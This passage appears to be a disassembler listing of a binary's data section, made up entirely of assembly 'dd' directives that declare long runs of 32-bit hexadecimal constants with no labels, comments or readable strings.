		dd 0EF58309Dh, 56EED618h, 1C5FBB5Eh, 35A749C0h,	19065A36h
		dd 8323F97h, 0FB2180A4h, 0C6CBA741h, 0DD8D0F53h, 3815CA5h
		dd 22F978B0h, 0D8AD2A20h, 309BF500h, 0DB806240h, 0A54F01CCh
		dd 73F6E499h, 0C722FCD5h, 3DB3753Ah, 39404957h,	0B8A2838Bh
		dd 90A06E63h, 0C0A5EA4Eh, 51347751h, 48FC5F8Dh,	32B11900h
		dd 830CDE8h, 314100A9h,	0E98F54EFh, 62014E2Eh, 8D75F7AFh
		dd 8840BD45h, 28713239h, 30A864ACh, 0A5599AEAh,	0DF003C6Fh
		dd 89A978F0h, 0A3FC39F5h, 524EC8C0h, 0DE100169h, 74B18A13h
		dd 39E986E2h, 2870ED6Bh, 5DCE1CBh, 0E2589C96h, 0C0B02068h
		dd 0D800390Eh, 775675E4h, 0CC266DBCh, 30210208h, 0F7D85801h
		dd 9165B615h, 0ACBAA88Ah, 0C0449EB8h, 5A80366Dh, 0DB001498h
		dd 0EC6F96C4h, 0EC240E83h, 2208096Bh, 5C587D0Ah, 0A0E94718h
		dd 10344D9h, 0B1C34B2Eh, 423DEC79h, 69216680h, 0D826ED92h
		dd 477C3001h, 0C9B2E89h, 2821C0FCh, 0DBD57D68h,	0EAC63D07h
		dd 80BA6352h, 1D4FB01Ch, 5EC09243h, 7E80900Ah, 48DF121Eh
		dd 2968B23Ah, 350138EAh, 46894C7Ch, 2520C219h, 1CD7D6Dh
		dd 45BCDA24h, 0E8557C0Ch, 86EC48F0h, 801A463Bh,	0D734C525h
		dd 542195EBh, 88B2A08Ch, 7500C82Fh, 58B143B9h, 24A5D56Dh
		dd 2D4C80h, 6FE51AC3h, 3F1D9EA6h, 80B985D8h, 3B1D8E06h
		dd 9D0C3Ch, 62D77830h, 4092C835h, 0EA3EBF0Ah, 7286B096h
		dd 0CE0AFE8h, 19E712FBh, 21C0A609h, 0F6AFF052h,	1821420h
		dd 770AD0FDh, 83F47995h, 0FBC93A21h, 0E858181Bh, 0E6619460h
		dd 0EB22ECAFh, 586E448Ch, 2000AFE6h, 9C52E27Dh,	0DA05A2Ah
		dd 512377D2h, 468C0059h, 0E264563Ah, 0A7674460h, 0CB2292AFh
		dd 5C10AA31h, 2E00AFEAh, 0A627C71Ah, 9E03E3Ch, 6EB18BBBh
		dd 41428410h, 2C43BF29h, 2FAFE10Fh, 0A05C7422h,	0AFE95Bh
		dd 694C1C4Fh, 0CA7B6497h, 0DCC24629h, 2C035400h, 0A29639h
		dd 0A5ECFBDAh, 0B3E238D7h, 0F10B6514h, 60D64AA0h, 7A4146D8h
		dd 223DAF08h, 40ADC4D3h, 4DAFEB5Dh, 78B116A8h, 6048540Ah
		dd 0A1EC8603h, 7CF86C1Fh, 3E76A408h, 84026EF0h,	560A20DEh
		dd 0D6B46054h, 0B239C013h, 0F2FF1CAAh, 74B68100h, 18EC8322h
		dd 0F11701DDh, 25F62947h, 10E83204h, 0E20F761Dh, 0E3E83BA3h
		dd 6B111C24h, 0DFD84482h, 1C24AC54h, 33400864h,	52C5D83Bh
		dd 0F7078F00h, 843CA0A7h, 0A2EF24FCh, 0CA6700C4h, 9F66FBBAh
		dd 343CF9C7h, 0A0929AC2h, 0D567C508h, 0A01A6F31h, 2012FB8Fh
		dd 0C581A300h, 9196C39h, 0C80B41D4h, 16DDADCh, 759803F8h
		dd 4099DDB5h, 0FBDF32C8h, 419C9434h, 0F4580C1h,	51C48304h
		dd 713441F4h, 9000ACF1h, 3540A2Dh, 8490AE90h, 0ABE428A5h
		dd 55F44860h, 0B190FD01h, 65427136h, 0EE237432h, 487C3100h
		dd 999C6689h, 6921613Ch, 0F0B7FC7Dh, 8297760Fh,	5E778FDDh
		dd 34E9B1D8h, 0C09972A9h, 7938DF60h, 70AE4EEh, 808BFBD5h
		dd 0F92A1F41h, 65B400EEh, 6780BDD9h, 89711097h,	0E6B3880h
		dd 0EA9E028Fh, 559CB0B5h, 56132681h, 0D9412F1Ah, 8BD8400Bh
		dd 3B713D12h, 60F42DA6h, 8894F86Ah, 8A963000h, 0A1C154E1h
		dd 2A6F40BDh, 1CDA0E13h, 3E5E58A4h, 1417B610h, 4770201Bh
		dd 1F09D2EBh, 0D237DD22h, 0A4E120C0h, 0A93CCD04h, 5C8C7735h
		dd 404E9C6h, 42B7DDECh,	480ED5DFh, 93A9B8Ch, 0E288294Dh
		dd 0DAA9C80h, 1325C42Fh, 372CE824h, 0C483E2A1h,	0E8DD4258h
		dd 6C3180C0h, 2C2A4CFh,	6DA0BF6Ah, 0E486628Fh, 74076118h
		dd 3E59504Eh, 2C2DB321h, 0DB4B80EFh, 0D8A5011Fh, 6E865310h
		dd 478CD0B6h, 585CE0B0h, 1E04CA4h, 0D05AC103h, 8420C663h
		dd 313F00CBh, 76E66DE7h, 0C4030669h, 4DA99764h,	0E4A005A6h
		dd 607620Ch, 49F758A4h,	34C29407h, 0B3A06381h, 2C7554F5h
		dd 254D8FDh, 8D48BB57h,	9688EC0h, 0E8B89D5Ch, 0A87D8CACh
		dd 6EFD7918h, 2595E989h, 0C02ED71h, 0E4911A14h,	30243148h
		dd 151E12Ch, 81EC07E4h,	282BD52Ah, 39998844h, 0B671B184h
		dd 10C41492h, 3524165Ah, 11A06AD0h, 7C3480E9h, 0B90E894Bh
		dd 6C4CC014h, 8112DB7Dh, 24040965h, 89029BB9h, 8850392Bh
		dd 0E44CD52Ah, 2F33B50Eh, 0F062C077h, 2C56A054h, 91B84846h
		dd 0AFE5873Fh, 70682297h, 0AF17ED57h, 0C1002024h, 0D12B9816h
		dd 9584A92Eh, 88406822h, 460B4009h, 0D62E0F13h,	2640D044h
		dd 9F3B7CC1h, 0BA80F054h, 0C0FF5767h, 41181311h, 78007A85h
		dd 0BE9A48A0h, 7F5535h,	34E3B0Dh, 0B4E6A4D1h, 999E209h
		dd 7CD70054h, 4629688h,	0A44147DAh, 1B8B53Dh, 2C90C1C8h
		dd 8C418A0Ch, 0FAD1BCA1h, 0D003F118h, 5D59FBEFh, 0E3E1E040h
		dd 876322Ch, 5061E0E0h,	0B4C111A2h, 1E2E8980h, 0EB11B295h
		dd 468EF403h, 4C6C86E0h, 408BF490h, 0B9B8238Eh,	9E5068FBh
		dd 4488B824h, 9A9B00BAh, 0DAE0B12Ch, 3351D539h,	9C522FB4h
		dd 93111805h, 0B25A80C8h, 597DF8A8h, 62091085h,	0A842BD36h
		dd 0F299BC41h, 90F1D520h, 0C21BE6F5h, 8D430DD0h, 0BF09D8E6h
		dd 0AA41A9h, 6720535Ch,	0A2E89075h, 4D4C4474h, 89824014h
		dd 63007805h, 2E7986CCh, 8E304665h, 154C2381h, 0D91278A0h
		dd 54D05629h, 74A170h, 2D48500Ah, 69523E9Dh, 0C6FB119h
		dd 10865369h, 86B391Dh,	0F55710C6h, 0F0760041h,	0A2737EA9h
		dd 0B94C4755h, 880D0050h, 46E66B40h, 20C89892h,	60A030C5h
		dd 828890B1h, 152D400Dh, 0BEF97E18h, 26322518h,	0A0590Ch
		dd 0B3EED06Eh, 0A92576AEh, 53FC1033h, 0CC20FF94h, 0BFF040F8h
		dd 8B3B52Ah, 202C219Fh,	6E10F12Ah, 0DF1363ECh, 94F39C9Fh
		dd 0A4421775h, 0FB5C233Ah, 0A9B4C7D8h, 8EEC214Ch, 0B835BBh
		dd 0F7356418h, 7A354DEh, 424E653Ch, 524D803Ah, 0E57A843Dh
		dd 0EC1F49h, 0E277970Bh, 13A64CD0h, 49364458h, 0A0685790h
		dd 63002FF9h, 0EC7FBEC1h, 19C4D6Dh, 0FBC92067h,	0F4ADEEE4h
		dd 9FE246D2h, 211DB00Ah, 1110AC59h, 0BF0DB582h,	0C0F30C02h
		dd 123A2572h, 81A1606Ah, 0A29DD8h, 54D56F93h, 770EF014h
		dd 511609DDh, 5F073290h, 0E19EB1B1h, 0D2A031E0h, 0DE280A0h
		dd 58900FB2h, 2658989Fh, 393A3822h, 0F56A450h, 16FF6B9Dh
		dd 470EB7E0h, 0BB001960h, 8FA9AF12h, 58F0B854h,	14C9ECBFh
		dd 850030F1h, 0EC56FABCh, 24E92AA3h, 4A089860h,	3E2C306Dh
		dd 7521E1D8h, 5531C06Eh, 8D00B0D8h, 0DC251A24h,	0B0C620AAh
		dd 0D1CCB124h, 2631870h, 0B2753D53h, 3C40DD41h,	0C082BC2Dh
		dd 80339990h, 2000D877h, 0B18E546Ah, 0B33CEED5h, 0A74B0194h
		dd 186A3633h, 43F988A8h, 0F0FBA707h, 0D9D0FDDDh, 5C86C76Dh
		dd 0C5C04839h, 6083FE64h, 0B2E23Bh, 0CC7629A9h,	16BAD8DCh
		dd 406267FBh, 6B843CA4h
		dd 0C927C179h, 5194A4EDh, 30A74860h, 11423623h,	40FE00A6h
		dd 6D8BDAA7h, 0F8961635h, 1B0482Ah, 8889970Fh, 0D163EADh
		dd 34BC50C2h, 18CAAB8h,	61C10823h, 83FD3EDCh, 0E1813518h
		dd 0EA602572h, 0CAE04820h, 960D8D17h, 216DA93Dh, 0E2E57835h
		dd 6923442Dh, 0E5D83A00h, 86774E75h, 2D0A44h, 19D3D851h
		dd 2B4810FFh, 6CDCF03h,	9AEA8F55h, 622CA4A3h, 0E6D83B60h
		dd 11267523h, 522E0003h, 2DB853D8h, 89361C1Eh, 68B0B1D1h
		dd 10542C54h, 244CBF21h, 2D01B110h, 0B844974Eh,	4A809221h
		dd 31516D76h, 0D3DF07F1h, 0B0BF6154h, 97A6705Fh, 0DC4DA124h
		dd 0A830E496h, 94398995h, 9420110h, 34AED58Dh, 3C9670A0h
		dd 9315215Ch, 458E283h,	6DB6D8DFh, 3AE4B4AEh, 110E1644h
		dd 0C2AAB931h, 60431C64h, 133371h, 66FCCD01h, 77EB904Dh
		dd 83DCF458h, 5B92614h,	21719741h, 80A688h, 0F66140C8h
		dd 16CBB3F2h, 40D2D567h, 66FBBBA8h, 0B49CBED6h,	0A95E17F4h
		dd 1FF000DAh, 9CE7810Ah, 9D90F8B2h, 0D131F898h,	81BFA1DAh
		dd 0C8349071h, 0F4585154h, 0B0C15401h, 0F98A29B0h, 0F12C4112h
		dd 4E1A25A1h, 5CE041F1h, 8C55A420h, 34A74C04h, 0A8676236h
		dd 0C044FA8Eh, 8B8C7E89h, 9B7B48BEh, 80F5E114h,	81880B2Ch
		dd 0E9BD09A2h, 9791A755h, 816E9108h, 0E45D668Bh, 2C04F5CCh
		dd 0A487CA4h, 848CFE6Dh, 1AA13DB5h, 1E5852D8h, 848FEF6Dh
		dd 816B19BBh, 9F85F0h, 0FF95D568h, 0D09CE038h, 7BB048BFh
		dd 0D38C2D48h, 17C4C0CAh, 630A3093h, 32804ED7h,	60606660h
		dd 6B80AE2Dh, 31243B02h, 0A8B7C195h, 11B86901h,	0D3875DD1h
		dd 2C8BCC5h, 58F59D57h,	71EC5141h, 0DE18AAh, 8D5E22ACh
		dd 0FFC90A93h, 96F798A0h, 99B98920h, 97DD42DCh,	99253452h
		dd 0B888A807h, 1016310Dh, 0C6C4C20h, 7A518935h,	940539D0h
		dd 9CE8150Ah, 5C601012h, 38E0D83Dh, 28DB7675h, 3C1434E8h
		dd 1034B4D8h, 4D262AB9h, 16467408h, 20529802h, 74F8B122h
		dd 0CD2DD4B0h, 79803AA5h, 18AB59ECh, 7601714Bh,	19A867C3h
		dd 66BFE0D8h, 0BD008C2Ah, 0B5CAF2B6h, 1217571Fh, 4AA9D53h
		dd 9B053Ch, 0ABB03339h,	0EC3A13BFh, 35A000EFh, 9C8661C4h
		dd 4D48E7F6h, 885D38h, 0E16618F4h, 0CEF82E3h, 0AC5D8D75h
		dd 58E430C8h, 3B000BF8h, 79E99F54h, 9A5595EBh, 5384B880h
		dd 8C7FA413h, 497C3602h, 1A9B3E89h, 268368D6h, 0C0B57D6Eh
		dd 0BE04B70h, 22B9D589h, 8BA8F0C0h, 81D930Bh, 67E0C98Ah
		dd 8CA04018h, 54B33E75h, 2F000911h, 0BB22D857h,	0E538E844h
		dd 0D23F0581h, 5CF4E961h, 3640074h, 138CFAFCh, 4D38F33Ch
		dd 3A1F86CBh, 52D804F9h, 0A107FCD5h, 53B8F89Eh,	1DD8D9D0h
		dd 9700CC61h, 0DE9A333Eh, 3DDC3FEh, 0AFD30FCDh,	0E90BFD72h
		dd 40BE2DE2h, 4B81C1E4h, 436C0425h, 4724CDA4h, 1CA3D48Ch
		dd 41B509C0h, 4B7539DCh, 0A8D43034h, 0D42C63FBh, 0B1090832h
		dd 44309A22h, 95620BF0h, 64400D81h, 85023D40h, 2A93FC5Ch
		dd 14854CDh, 3CB18F54h,	2AAEFDA9h, 0E2496421h, 2EC7C6Ch
		dd 0D516158Ch, 3001980Dh, 6D13AC29h, 8C46E895h,	0D36E7C1Dh
		dd 892A9484h, 408EFC95h, 0CAC00788h, 3D3E3F4Ah,	0CF24831Dh
		dd 77D50980h, 0EE21BC90h, 82767486h, 0C82E94D8h, 0A108B497h
		dd 61186E80h, 35257EEFh, 2A2C8296h, 108CC405h, 58BED95h
		dd 2F598217h, 9C8B7CF8h, 0C2098013h, 0E03D3A1Ah, 5423EF70h
		dd 40BDF093h, 3A14198Eh, 981002A5h, 809E1160h, 0FB018FA3h
		dd 7932B49Ch, 0A4303596h, 23F063h, 2F0BE175h, 853CA11Fh
		dd 2164B200h, 3D43F2FEh, 3AD0003Eh, 0CE76817Dh,	4D4A89E9h
		dd 0C789081h, 2D90CC50h, 3EAC9E9Eh, 25D8AB01h, 0A93D9232h
		dd 6D1B490h, 0CA0D1E18h, 0A08ED6F1h, 2DB89879h,	8262863Bh
		dd 4F9B0227h, 5DB06012h, 0F0058331h, 0E62D36CAh, 44C8E402h
		dd 6D4CE172h, 0D50A4029h, 6FFC15F5h, 23C43FD3h,	51BC09ADh
		dd 8639D802h, 0C1D76202h, 40F20D61h, 0B69C2520h, 547D44BCh
		dd 9F291020h, 4939C112h, 9C65D60Ch, 3160A4C4h, 0E7F82A0Dh
		dd 4BC82301h, 7AA13418h, 0CC0841CEh, 921F202Dh,	2ECB0A35h
		dd 0AC71C40Ch, 8C09BC7Ch, 5C625700h, 0AAA54759h, 41FE2E66h
		dd 0FF217454h, 5EE18092h, 4418A971h, 68195B13h,	1C355C04h
		dd 2BF8A31h, 895879A3h,	5085B3A4h, 7CCCF35Dh, 94A2B4ABh
		dd 34F84052h, 4E39F060h, 5E822241h, 779801B5h, 2F1328Dh
		dd 0D6885440h, 800F4FFCh, 4182A386h, 79CE57C4h,	2477C830h
		dd 80F4192Bh, 9241F54Eh, 5E16F82Ch, 0B840C535h,	0F4C92499h
		dd 57C7096Eh, 0C43070B1h, 0D6801D3Ah, 0D890BEBh, 1413176Eh
		dd 2A00A9EAh, 0C0F92226h, 0D76DDA18h, 4D04752Fh, 0FECDF58Fh
		dd 67B84002h, 0D4D55863h, 0F218B2C0h, 4BF13005h, 19FCF500h
		dd 356BB781h, 65422579h, 0FA644CC7h, 42109960h,	374D7B14h
		dd 7552DCCh, 6549EC50h,	6071E45Ch, 55ADE5Fh, 0B0C9271Ch
		dd 30A82072h, 0F4169F6h, 77A5D041h, 10B4360Dh, 1F1EB40Dh
		dd 8D7D077Fh, 5CD189BDh, 7708A559h, 8469652Dh, 0F8CC2180h
		dd 397D0B79h, 2003F60Dh, 18F0476Ch, 0E660A182h,	0AA77EEF8h
		dd 8F3F1DF0h, 820CEE1Dh, 7F517137h, 0E2F58E03h,	6984749Bh
		dd 99EA708Eh, 0F9467CC4h, 6DFD12h, 74EDAE68h, 0A94AA1B7h
		dd 0D290AC01h, 0CC22850Bh, 488B6687h, 0FC0C3426h, 58DDC801h
		dd 99C87C12h, 0BDA017AFh, 62C10146h, 34268C54h,	783963F4h
		dd 641099F0h, 0E8E0543Bh, 34388C75h, 0DC00F724h, 0B0D2E899h
		dd 0BB73DD5h, 3518720h,	0D2D1C02h, 360D8319h, 7038B064h
		dd 4B5D02A6h, 0D7523DF3h, 244D1041h, 61055400h,	680F7BB0h
		dd 74207465h, 4A05221Fh, 290C9132h, 88447C9Eh, 258A820Ch
		dd 784409D2h, 48CC894Eh, 0A001E9FFh, 45DC414Ah,	88BB0C0Bh
		dd 1A15A8DAh, 89203C2Fh, 95DCC962h, 90228CF5h, 2404D515h
		dd 7E70DE2Ch, 0F83EA946h, 82CC339Fh, 0A2DD8134h, 36254848h
		dd 0DF00BCB4h, 0B293F76Dh, 705C4CB5h, 3E32D117h, 82354h
		dd 7CC50B2Eh, 6650D18Eh, 344065B4h, 19A20177h, 2F94D36Dh
		dd 0E9BC4193h, 0F5CB118Eh, 0F209D841h, 26876213h, 1F5C38EDh
		dd 6575C2E8h, 25D8A0D1h, 7CB8B622h, 0DCEB4C9Ah,	0D58E731h
		dd 6CC10BBh, 35680453h,	0AF729971h, 0E862846h, 89331368h
		dd 1E70E669h, 7840CF6Ch, 0D367AD9Fh, 0B064986Bh, 0ABC5293Ch
		dd 347508D4h, 4F28C62h,	0B984C857h, 0B6987A04h,	10812BD6h
		dd 0F0020721h, 4B49AB04h, 9EF59082h, 800B3110h,	1E4B14EDh
		dd 40043CD5h, 0AA3279BDh, 0AF130D9h, 1900A718h,	116C6413h
		dd 7BB55D1Fh, 0BCE0EE6Eh, 3465E9Ch, 36D91D05h, 5F688A66h
		dd 0FF23E42Bh, 72454E07h, 5B105010h, 29610458h,	17D60Eh
		dd 0F608EDC2h, 1EC9A3Dh, 0E397B7D8h, 0CCB64EFBh, 6C1E40EEh
		dd 32524C1Fh, 481C38B3h, 0BC78653Ah, 0BB2D6000h, 1E751A27h
		dd 0F8E2005Eh, 85DBBF6Dh, 400763A0h, 0D98E15C0h, 29546879h
		dd 88209511h, 894EC338h, 1079D526h, 0EA097CA1h,	7C34A3A3h
		dd 0E70E90FDh, 56C2001Eh, 0E06927B5h, 6E001734h, 0EDC190CCh
		dd 1602656Bh, 1232C3B7h, 3E30B9B8h, 0A6DA8258h,	5CDE8F5Ch
		dd 0B08D00D0h, 0D03F731Bh, 3AFA7501h, 8E937041h, 0B67E1020h
		dd 10288D4h, 0C54D480Bh, 61F9E40Ch, 3BD453E7h, 56782CDCh
		dd 0ADC908A0h, 72B9D589h
		dd 0FE3B2C98h, 1D9D0160h, 7C2D2B78h, 40582EECh,	0AC4676h
		dd 7D7AD44Eh, 0B8300852h, 241D161Fh, 57D80527h,	7BE840F9h
		dd 5DF2DB55h, 0F772C100h, 4B29607Ch, 0E9E32487h, 4F540171h
		dd 0DACDA137h, 0A0637C68h, 0B60F9FF6h, 0C4E75887h, 0B0F0FD0Bh
		dd 7FB8727Dh, 2A0124F0h, 9E9663E4h, 0FCBCF980h,	28B3BA24h
		dd 0D0B480BFh, 0E2A78250h, 0EC630A0Bh, 801C5E3Eh, 0D1269F90h
		dd 3001CC7Ah, 0EF6579E4h, 0EC3CF603h, 54C3A127h, 8CA58C9Bh
		dd 45A2D4Ch, 23A0D850h,	0AFE7013Dh, 6CF32239h, 0EF59B018h
		dd 1CD90AFh, 202BB143h,	0C69D7966h, 3C12C0D4h, 0BC1AE602h
		dd 30DC8834h, 3FAD465Ch, 0EDD4860Ah, 199BEAh, 89BCB107h
		dd 0A5A087ADh, 77DA6200h, 12B321B9h, 6A2D1390h,	7FC4A413h
		dd 0CB84F4Ch, 0E8682045h, 26367C32h, 8ED07DADh,	590C1F5h
		dd 735377DFh, 7E15D0C1h, 79B19710h, 0BF630584h,	9309D6D9h
		dd 4F80DFDCh, 877F6735h, 0A3D2B209h, 0E1F0E831h, 0DA63003Fh
		dd 362167A7h, 0CCB607FAh, 2AB465Eh, 0D9E60FA6h,	0D89093E9h
		dd 3C35F625h, 6AB9DE2Eh, 0E6BD1B80h, 0F869E056h, 6095B900h
		dd 873A264Ah, 4FC8B01Fh, 11A890D5h, 460098C6h, 96F648C5h
		dd 0ACFB366h, 4393CE32h, 9A30094h, 0DF258FC4h, 0C2C54BEh
		dd 45805211h, 3A3631A7h, 3DFF0087h, 0F3199FA7h,	0BE94C216h
		dd 3C8448Bh, 0F15BC6C0h, 89BF1565h, 9014DCF9h, 0CA974C1Dh
		dd 0C0ACC8E8h, 0C377D8F2h, 4EBF9401h, 0F3D21E0Fh, 0A1E00421h
		dd 688561C9h, 63BE4142h, 3004A254h, 350B85A6h, 408D2A22h
		dd 301563Ch, 139710DBh,	9100BD24h, 9661950Ah, 26BBCC9Ch
		dd 91CEC62h, 0E404C082h, 849B57FDh, 0C5D1BA80h,	7F3D676Dh
		dd 1FE08971h, 0C1841861h, 19148083h, 0A9D89097h, 42AA401Dh
		dd 38511496h, 2F72B111h, 1A459890h, 0D5B72E4Ch,	0FE29042Ch
		dd 7ED0229Ch, 0C2246068h, 2512D277h, 4C409B32h,	0D531F36Eh
		dd 24B79FEFh, 12227100h, 1E11686h, 0C36EF390h, 21EDD52Fh
		dd 11EFDF0h, 0F061BDC1h, 0D600F2C5h, 3F02DBEDh,	798D75BEh
		dd 48074C0h, 0D0F97196h, 4C0C1400h, 0E8E34D03h,	9A135h
		dd 0E2C1EB19h, 843BE041h, 440BB58h, 3FE3589Fh, 0ABC874CBh
		dd 4ADB6BC0h, 789C268Dh, 98710B40h, 3712B014h, 0F4C23D89h
		dd 8030D49Bh, 40C43568h, 0FB1A80A0h, 47196067h,	60AC44B8h
		dd 9218804h, 0A9D17D77h, 33891448h, 0A6940091h,	97C0C2E8h
		dd 4024F861h, 0A8C4689Eh, 400072E9h, 43B26D1Ah,	77F82203h
		dd 7FAAC965h, 34A09528h, 669A09ACh, 9E0B9300h, 0F998D712h
		dd 842D009Dh, 40853D11h, 794B30C8h, 0AA23E43Bh,	0BDB3E400h
		dd 3BF88Eh, 6904B03Eh, 257D75E8h, 1758BF59h, 7CCBC533h
		dd 319316C4h, 0A8608C7Ch, 4B48BA09h, 0F378C8E1h, 70405B8Ah
		dd 96002B30h, 78B90710h, 251FB1F5h, 0C4C0792Ah,	0A9C072D5h
		dd 0D8A7699h, 0A20122Fh, 7688A1E9h, 585EE0D8h, 3C8B0EE9h
		dd 643DA849h, 0A43D0808h, 6E791902h, 51808B11h,	1BE00D0h
		dd 459992B1h, 7A483400h, 2144B851h, 58A5FB2h, 1375E450h
		dd 0DBD880EBh, 119FEEB8h, 0A3109F74h, 19C0F13Dh, 0F06322A7h
		dd 98440B3Ah, 0A0A1A923h, 3099DA6Fh, 9F4F9B40h,	0FEC8E48Eh
		dd 0D8A258C3h, 3BFB0718h, 82584BB4h, 87628103h,	89DACE4Ch
		dd 0D4A98ECh, 0B74D58C0h, 0E63D03A5h, 703BA3E1h, 771258A6h
		dd 0A4D00ABBh, 40298935h, 29510A7h, 399F924h, 159A2E38h
		dd 9ACF3F00h, 0FC3A0428h, 81BECA68h, 2EBF541Ch,	7023803Bh
		dd 677D1300h, 504E1ACAh, 809698F8h, 40A09261h, 8811DF6h
		dd 7C90DCE2h, 0C000946h, 0F7E62514h, 70074C3Ah,	82B8FA72h
		dd 1176A9F0h, 0AEE09E4h, 0E44121D6h, 1876DAF0h,	7FA4BF80h
		dd 0BFFBEE0h, 0E382C19Ah, 0FB8D400h, 21EF47E4h,	6658E173h
		dd 0A70B7CF0h, 0C54A362Fh, 40FD9EB8h, 382080A7h, 8300C52Ch
		dd 0B172289Eh, 43CD2A3h, 0A9CDE84h, 898D41BEh, 0EC356FDDh
		dd 0A700B062h, 7D4F3D3Eh, 0BE2E4F3h, 0F000C4EEh, 1E0C69B3h
		dd 4609E8Ch, 71222032h,	484C800Ah, 0CA0BD58Dh, 9D933F65h
		dd 1C463D4Ch, 87492289h, 360D8E53h, 6AD03000h, 60DA8225h
		dd 95776826h, 4CBEB21Dh, 47F0CF0Bh, 60A664DCh, 761C8F4Fh
		dd 0E17C14h, 0C83E3D55h, 0B3E3D939h, 685E656Dh,	6FF0883Ah
		dd 8FFCA658h, 0F58765DAh, 0C4770890h, 0F0472C17h, 434911FCh
		dd 30A4A284h, 2000B03Ch, 73DB0E17h, 0C00743E8h,	0CB6EC021h
		dd 0C19DB55Fh, 37103BA0h, 0A9D95A1h, 0F062A46Ch, 4B47EBFh
		dd 1404850Ah, 0D8D9C988h, 20570B24h, 20D8452Ah,	0D32F4809h
		dd 5814F3D4h, 0E40BBFC6h, 8489F58Fh, 84999CDCh,	29B98C02h
		dd 7AC1F482h, 38D56A2Eh, 17A54656h, 81001DDFh, 0F170CC1Eh
		dd 0A9320B95h, 30C75CC6h, 2260FE64h, 0CA39B348h, 654C80EBh
		dd 61130CC2h, 2DE117E0h, 57C8F0EAh, 7EE21F20h, 46C81354h
		dd 0BC3A01ADh, 7A7B66FBh, 8C018035h, 9D0C36C6h,	20DE1071h
		dd 104D1A45h, 0B3C20E13h, 0B58218E8h, 28E99749h, 510720DAh
		dd 11BD4DECh, 1210A4B8h, 0E9104655h, 904CB8CCh,	0F4804122h
		dd 7120B19Bh, 0B6B08937h, 0BAE9F410h, 0CD4E4002h, 0C078EF82h
		dd 82BE9574h, 9D12A458h, 0B450F542h, 0C907001Ch, 0FD5E231Ch
		dd 1650090Ch, 4F2B4D5h,	78C864F2h, 5E57119Ah, 0FEC8CCCBh
		dd 7B476AC0h, 7C47C24h,	4FEA82ADh, 0E0B14526h, 128D540h
		dd 0F046309Ah, 467D6B02h, 9C515689h, 7D632360h,	0A0B6019Fh
		dd 0C45CB7D6h, 40B8BD73h, 0F590884Ch, 641EB924h, 4A5E6A42h
		dd 0D620542Ch, 0AD4D3416h, 430E3101h, 20FD54h, 5692057Ch
		dd 0E1D52A22h, 8CF2D208h, 0DDF5E808h, 54E90301h, 0A5D00F9Fh
		dd 8004A03Ah, 0A1D8A1Eh, 1C509CA8h, 0B0312095h,	352A213Fh
		dd 1C0B5018h, 0A040EC53h, 4C32C34Ch, 8C7F50A4h,	6AA7460Fh
		dd 0D439F337h, 15D83EC1h, 0C3A1002Eh, 0C9BD8BCFh, 0CC2681A3h
		dd 0D701A04Bh, 0AD55EDD9h, 202CAC65h, 7C8C01BCh, 0D0E95B94h
		dd 0B353CA24h, 327F071Dh, 0DC83451Fh, 0D07EA71Ch, 0B6BB4411h
		dd 0CEAC81F4h, 0D40D481Eh, 18004947h, 5F83FBB2h, 0AF3664h
		dd 0AE69607Ah, 0E82AB73Eh, 403C221Ch, 785282CBh, 0D104B114h
		dd 51B1804h, 3222167Fh,	79A0E001h, 0A9418D2Dh, 64CF16Ch
		dd 0D99894FBh, 79632002h, 611AF065h, 0C6016298h, 9006C6Dh
		dd 835CDF25h, 81AA081Ch, 0D4C8EB17h, 0BEB90082h, 61F75BCAh
		dd 0A0C24DAh, 799C6DD3h, 7FD1404Ah, 86DF7102h, 7EA67787h
		dd 0C8ACD8h, 0D56734CAh, 4BE1B21h, 2A940C82h, 40206A29h
		dd 80F13644h, 882F3A25h, 0D2008686h, 28B81110h,	39DB049Dh
		dd 0F0E81615h, 658577C2h, 0A1F80A0h, 59C22A0Dh,	1B2A1ADh
		dd 70B08087h, 89139588h, 8C2082B9h, 968C4F4Ch, 71465EE4h
		dd 4E0B1C00h, 573574B3h, 8291FA60h, 0A86110h, 27CF0803h
		dd 0E2031F2h, 9A05405h,	880447E2h, 98541485h, 0BA597232h
		dd 22803C7Eh, 2FD75C84h, 0A47C3ED4h, 0AC45A109h, 2A24ECF2h
		dd 6D83E4B5h, 0C00BD2D8h, 27821830h, 24270259h,	1FF0441Eh
		dd 0ADE981C4h, 110FCBDh, 0F4BF260Ah, 25BEC808h,	315CC41h
		dd 0A0ED996Fh, 0C3A4212Ah, 5A400699h, 0C10C1807h, 0CA83BDE8h
		dd 30344CFAh, 4BD1ADC1h, 0A70364E7h, 3B0ED08Dh,	317D89C9h
		dd 3D376DCh, 8FAB2140h,	594CDB0Dh, 64AC0448h, 6EAFBEC1h
		dd 81322CC8h, 7B1DD90Bh
		dd 0CB578058h, 0C2DC12D7h, 0D9784707h, 0D3808B18h, 99F31F61h
		dd 9317D0F4h, 296E0986h, 30F09626h, 0FDA1C109h,	11E49F88h
		dd 7B7A80FAh, 1736E8A6h, 661FACh, 0B5CBE700h, 4A351D8Dh
		dd 48CB6825h, 20CEAAC8h, 3D51DAFFh, 2E960085h, 0E3E23530h
		dd 0C4163EE9h, 0E490BB0Bh, 3E80584Dh, 2E005391h, 0EC76CFC8h
		dd 9F0069E0h, 824788D8h, 0B03381A6h, 82D0B828h,	0DC00DCD8h
		dd 8A2A6601h, 18822589h, 8137E08Ah, 4BA422AEh, 23542F93h
		dd 0D28F1FACh, 0AEFE0B75h, 179580D2h, 80059188h, 80708FEFh
		dd 0EA3E2C8Ch, 0F2E2401Ch, 0CB00F185h, 4BCEAAF5h, 2393D1Fh
		dd 0B87E2540h, 0E081E654h, 209114DFh, 196B7294h, 0EFF845E0h
		dd 66A68051h, 0B934988h, 0D5B5758Bh, 6D192440h,	8385AE02h
		dd 0F495EB8Dh, 82218750h, 0B8947965h, 0DC48BCh,	27780734h
		dd 41221F69h, 0D9F8189Ah, 0DD0A1E1Eh, 467C702Ch, 0C0522C0Ah
		dd 0E98E1D50h, 9F138C3Ch, 9038134Ah, 3B15D064h,	79399112h
		dd 981A4B0h, 0D31D89C8h, 0D76D2490h, 90B24727h,	81985368h
		dd 0B8477FEAh, 9FA04E63h, 0AC6F2Eh, 0D7FBC4F1h,	225749B5h
		dd 0D207FD09h, 25385CD9h, 4E41ACCFh, 59F480FDh,	99901AAh
		dd 70B09139h, 8A6C28E7h, 0F69D5461h, 1BCBD27h, 78468C34h
		dd 32A3C867h, 0C22B4E16h, 0E01A3022h, 26B273BFh, 0E7A470h
		dd 3BA3E8E6h, 0CF95E28Fh, 84B440E4h, 5801C920h,	221EF0D9h
